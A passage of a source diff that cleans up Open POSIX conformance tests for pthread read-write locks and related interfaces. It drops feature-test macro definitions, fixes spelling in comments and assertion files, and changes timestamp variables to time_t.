+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/7-1.c
@@ -20,7 +20,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/1-2.c
index f2fa99f..c8383cb 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/1-2.c
@@ -28,8 +28,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/1-3.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/1-3.c
index daaf7b4..9f1ad0c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/1-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/1-3.c
@@ -28,8 +28,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/2-1.c
index 5592044..0339e16 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/2-1.c
@@ -27,8 +27,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/6-1.c
index 304b5b0..76f4134 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/6-1.c
@@ -24,8 +24,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_destroy/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_destroy/1-1.c
index e312b44..9d7e575 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_destroy/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_destroy/1-1.c
@@ -14,7 +14,6 @@
  *	2. Destroy it. Should get not error.
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include "posixtest.h"
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_destroy/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_destroy/3-1.c
index 9921cc7..3aef445 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_destroy/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_destroy/3-1.c
@@ -15,7 +15,6 @@
  *	3. Attempt to destroy it while it is still locked.
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/1-1.c
index 749716b..a38b1d6 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/1-1.c
@@ -15,7 +15,6 @@
  * 1.  Initialize a pthread_rwlock_t object 'rwlock' with pthread_rwlock_init()
  * 2.  Create a child thread, the thread lock 'rwlock' for reading, shall not block.
  */
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/2-1.c
index bbe887a..823cade 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/2-1.c
@@ -15,7 +15,6 @@
  *     set 'attr' as NULL.
  * 2.  Create a child thread, the thread lock 'rwlock' for reading, shall not block.
  */
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/3-1.c
index ba6fabd..71ce235 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/3-1.c
@@ -14,7 +14,6 @@
  * 2.  Loop for COUNT time: lock for reading, unlock, lock for writing, unlock;
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/6-1.c
index 2d358a8..165b09f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/6-1.c
@@ -16,7 +16,6 @@
  * 2.  Re-initialize it again without destroying it first.
  *
  */
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
@@ -39,7 +38,7 @@
 		return PTS_FAIL;
 	}
 
-	/* Re-intialize without destroying it first */
+	/* Re-initialize without destroying it first */
 	rc = pthread_rwlock_init(&rwlock, NULL);
 
 	/* Cleanup */
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/assertions.xml b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/assertions.xml
index ea6fbe8..21a58c8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/assertions.xml
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/assertions.xml
@@ -24,7 +24,7 @@
   </assertion>
 
   <assertion id="5" tag="ref:XSH6:34718:34722">
-  ptread_rwlock_init( ) function shall fail if:
+  pthread_rwlock_init( ) function shall fail if:
   [EAGAIN] The system lacked the necessary resources (other than memory) to initialize
   another read-write lock.
   [ENOMEM] Insufficient memory exists to initialize the read-write lock.
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/1-1.c
index b394b38..8f4835c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/1-1.c
@@ -23,7 +23,6 @@
  * 6.  Create child thread to read lock 'rwlock', should block
  * 7.  Main thread unlock 'rwlock'
  */
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-1.c
index c6c1412..a2e8b8f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-1.c
@@ -35,7 +35,6 @@
  * 	 is not supported.
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-2.c
index 01f9de2..d51a065 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-2.c
@@ -35,7 +35,6 @@
  * 	 is not supported.
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-3.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-3.c
index 786ffb1..605ffd1 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-3.c
@@ -35,7 +35,6 @@
  * 	 is not supported.
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/4-1.c
index 5431005..cebdd92 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/4-1.c
@@ -19,7 +19,6 @@
  * 7. main thread unlock 'rwlock', sig_thread should get the lock
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/5-1.c
index 6bec6c3..70f06af 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/5-1.c
@@ -15,7 +15,6 @@
  * 3.  Main unlocks 'rwlock' 10 times.
  *
  */
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/1-1.c
index a1f4766..b2795ab 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/1-1.c
@@ -23,7 +23,6 @@
  *     but when the timer expires, the wait will be terminated
  * 7.  Main thread unlock 'rwlock'
  */
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/2-1.c
index c51b4cc..55f7827 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/2-1.c
@@ -20,7 +20,6 @@
  *	get an ETIMEOUT error.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
@@ -43,7 +42,7 @@
 
 static pthread_rwlock_t rwlock;
 static int thread_state;
-static int currsec1, currsec2;
+static time_t currsec1, currsec2;
 static int expired;
 
 static void *fn_rd(void *arg)
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/3-1.c
index 82a16f2..4861591 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/3-1.c
@@ -26,7 +26,6 @@
 
 /* Test for CLOCK_REALTIME */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/5-1.c
index 0f1920d..3130d1f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/5-1.c
@@ -21,7 +21,6 @@
  * 5.  The thread call pthread_rwlock_timedrdlock(). Should _NOT_ get ETIMEDOUT.
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
@@ -35,7 +34,7 @@
 
 #define TIMEOUT 1
 static int thread_state;
-static int currsec1;
+static time_t currsec1;
 static int expired;
 
 static void *fn_rd_1(void *arg)
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/6-1.c
index 6ff51e0..c6d398a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/6-1.c
@@ -12,7 +12,7 @@
  *
  * Test that after returning from a signal handler, the reader will continue
  * to wait with timedrdlock as long as the specified 'timeout' does not expire (the
- * time spent in signal handler is longer than the specifed 'timeout').
+ * time spent in signal handler is longer than the specified 'timeout').
  *
  * Steps:
  * 1. main thread  create and write lock 'rwlock'
@@ -26,7 +26,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/6-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/6-2.c
index a82c525..aa24df4 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/6-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedrdlock/6-2.c
@@ -24,7 +24,6 @@
  *    getting ETIMEDOUT.
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/1-1.c
index 6f32d2a..885eb0f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/1-1.c
@@ -26,7 +26,6 @@
  * 8.  Main thread unlocks 'rwlock'
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/2-1.c
index ac7dad9..3490986 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/2-1.c
@@ -21,7 +21,6 @@
  *	get an ETIMEOUT error.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/3-1.c
index da202b1..99611d6 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/3-1.c
@@ -28,7 +28,6 @@
 
 /* Test with CLOCK_REALTIME */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/5-1.c
index ffd91d9..97f8a8f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/5-1.c
@@ -21,7 +21,6 @@
  * 6.  The thread call pthread_rwlock_timedwrlock(). Should not get ETIMEDOUT.
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/6-1.c
index 43161d7..5a69731 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/6-1.c
@@ -12,7 +12,7 @@
  *
  * Test that after returning from a signal handler, the reader will continue
  * to wait with timedrdlock as long as the specified 'timeout' does not expire (the
- * time spent in signal handler is longer than the specifed 'timeout').
+ * time spent in signal handler is longer than the specified 'timeout').
  *
  * Steps:
  * 1. main thread  create and write lock 'rwlock'
@@ -26,7 +26,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/6-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/6-2.c
index 8b74bc9..7bff95d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/6-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_timedwrlock/6-2.c
@@ -24,7 +24,6 @@
  *    getting ETIMEDOUT.
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_tryrdlock/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_tryrdlock/1-1.c
index 6a7df79..d07aaa5 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_tryrdlock/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_tryrdlock/1-1.c
@@ -24,7 +24,6 @@
  * 6.  Create child thread to read lock 'rwlock' with pthread_rwlock_tryrdlock(), should not block and get EBUSY
  * 7.  Main thread unlock 'rwlock'
  */
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/1-1.c
index e0aadb1..7c3e3b7 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/1-1.c
@@ -21,7 +21,6 @@
  *     should get EBUSY
  * 7.  Main thread unlock 'rwlock'
  */
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/assertions.xml b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/assertions.xml
index 4ab3d57..64d1f7b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/assertions.xml
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/assertions.xml
@@ -18,7 +18,7 @@
 	the lock or a writer with the appropriate priority was blocked on it.
 
 	It may fail if:
-	[EINVAL] rwlock does not refer to an intialized read-write lock object
+	[EINVAL] rwlock does not refer to an initialized read-write lock object
 
 	It shall not return EINTR.
    </assertion>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/speculative/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/speculative/3-1.c
index 7381376..cc0d3a2 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/speculative/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_trywrlock/speculative/3-1.c
@@ -7,13 +7,12 @@
  * Test pthread_rwlock_trywrlock(pthread_rwlock_t *rwlock)
  *
  *	It may fail if:
- *	[EINVAL] rwlock does not refer to an intialized read-write lock object
+ *	[EINVAL] rwlock does not refer to an initialized read-write lock object
  *
  * Steps:
  * 1. Call pthread_rwlock_trywrlock with an uninitialized rwlock object
  * 2. Test for the return code.  It may be EINVAL or 0.
  */
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/1-1.c
index 46b0803..3d94ff9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/1-1.c
@@ -24,7 +24,6 @@
  * 7.  Main thread unlock the read lock, the 'rwlock' is in unlocked state
  * 8.  Child thread should get the lock for writing.
  */
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/2-1.c
index c8f7d8b..24d2478 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/2-1.c
@@ -21,7 +21,6 @@
  * 4.  Main thread unlock the write lock, the 'rwlock' is in unlocked state
  * 5.  Child thread should get the lock for writing.
  */
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/3-1.c
index a47ebda..2a7b6b4 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/3-1.c
@@ -34,7 +34,6 @@
  * 	 is not supported.
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/4-1.c
index 62ab93b..2db9e4c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/4-1.c
@@ -7,7 +7,7 @@
  * Test that pthread_rwlock_unlock(pthread_rwlock_t *rwlock)
  *
  *	It 'may' fail if:
- *	[EINVAL]  rwlock doesn't refer to an intialized read-write lock
+ *	[EINVAL]  rwlock doesn't refer to an initialized read-write lock
  *	[EPERM]  the current thread doesn't hold the lock on the rwlock
  *
  *	Testing EINVAL in this test.
@@ -19,7 +19,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/4-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/4-2.c
index fffb9ee..a0acd21 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/4-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/4-2.c
@@ -7,7 +7,7 @@
  * Test that pthread_rwlock_unlock(pthread_rwlock_t *rwlock)
  *
  *	It 'may' fail if:
- *	[EINVAL]  rwlock doesn't refer to an intialized read-write lock
+ *	[EINVAL]  rwlock doesn't refer to an initialized read-write lock
  *	[EPERM]  the current thread doesn't hold the lock on the rwlock
  *
  *	Testing EPERM in this test.
@@ -21,7 +21,6 @@
  *     states it 'may' fail.
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/assertions.xml b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/assertions.xml
index 36f181c..b005e3e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/assertions.xml
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_unlock/assertions.xml
@@ -28,7 +28,7 @@
 	If successful, the pthread_rwlock_unlock( ) function shall return zero;
 	otherwise, an error number shall be returned to indicate the error.
 
-	[EINVAL]  rwlock doesn't refer to an intialized read-write lock
+	[EINVAL]  rwlock doesn't refer to an initialized read-write lock
 	[EPERM]  the current thread doesn't hold the lock on the rwlock
 
 	The pthread_rwlock_unlock( ) function shall not return an error code of [EINTR].
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/1-1.c
index 097ecb8..ac48913 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/1-1.c
@@ -21,7 +21,6 @@
  * 7.  Main thread unlock 'rwlock'
  * 8.  Child got the lock
  */
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/2-1.c
index 0b48d13..9af6106 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/2-1.c
@@ -19,7 +19,6 @@
  * 7. main thread unlock 'rwlock', sig_thread should get the lock
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/3-1.c
index 8e0ef80..9086e87 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_wrlock/3-1.c
@@ -17,7 +17,6 @@
  *    passes even if 0 is returned.
  *
  */
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_destroy/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_destroy/1-1.c
index 84299bf..e82bf5c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_destroy/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_destroy/1-1.c
@@ -13,7 +13,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_destroy/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_destroy/2-1.c
index ad59db1..0d11920 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_destroy/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_destroy/2-1.c
@@ -16,7 +16,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
 #include <stdio.h>
 #include <errno.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/1-1.c
index 229349d..46833eb 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/1-1.c
@@ -14,7 +14,6 @@
  *     attribute is set as the default value PTHREAD_PROCESS_PRIVATE.
  *
  */
-#define _XOPEN_SOURCE 600
 #include <pthread.h>
